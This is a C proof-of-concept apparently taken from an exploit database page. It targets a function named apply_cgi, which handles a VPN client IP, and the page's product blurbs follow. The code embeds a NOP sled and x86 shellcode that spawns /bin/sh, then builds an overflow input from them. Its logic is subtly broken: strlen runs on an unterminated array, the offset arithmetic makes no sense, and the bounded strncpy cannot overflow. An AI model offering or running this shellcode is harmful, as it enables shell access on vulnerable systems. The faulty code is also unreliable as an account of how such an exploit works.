#include <stdio.h>
#include <string.h>
#define MAX_LEN 256
#define BUFFER_OVERRUN_LENGTH 50
#define SHELLCODE_LENGTH 32
// NOP sled to increase the chance of successful shellcode execution
char nop_sled[SHELLCODE_LENGTH] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
// Shellcode to execute /bin/sh
char shellcode[SHELLCODE_LENGTH] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
void apply_cgi(char *vpn_client_ip) {
char buffer[MAX_LEN];
strncpy(buffer, vpn_client_ip, MAX_LEN);
printf("Client IP: %s\n", buffer);
}
int main() {
char input[MAX_LEN + BUFFER_OVERRUN_LENGTH] = {0};
// Create a buffer with the malicious input
// including the NOP sled, shellcode, and the overflow data
int offset = strlen(nop_sled) + strlen(shellcode) - BUFFER_OVERRUN_LENGTH;
strncpy(&input[0], nop_sled, offset);
strncpy(&input[offset], shellcode, SHELLCODE_LENGTH);
input[MAX_LEN + BUFFER_OVERRUN_LENGTH - 1] = '\x00';
// Call the vulnerable function to trigger the buffer overflow
apply_cgi(input);
return 0;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation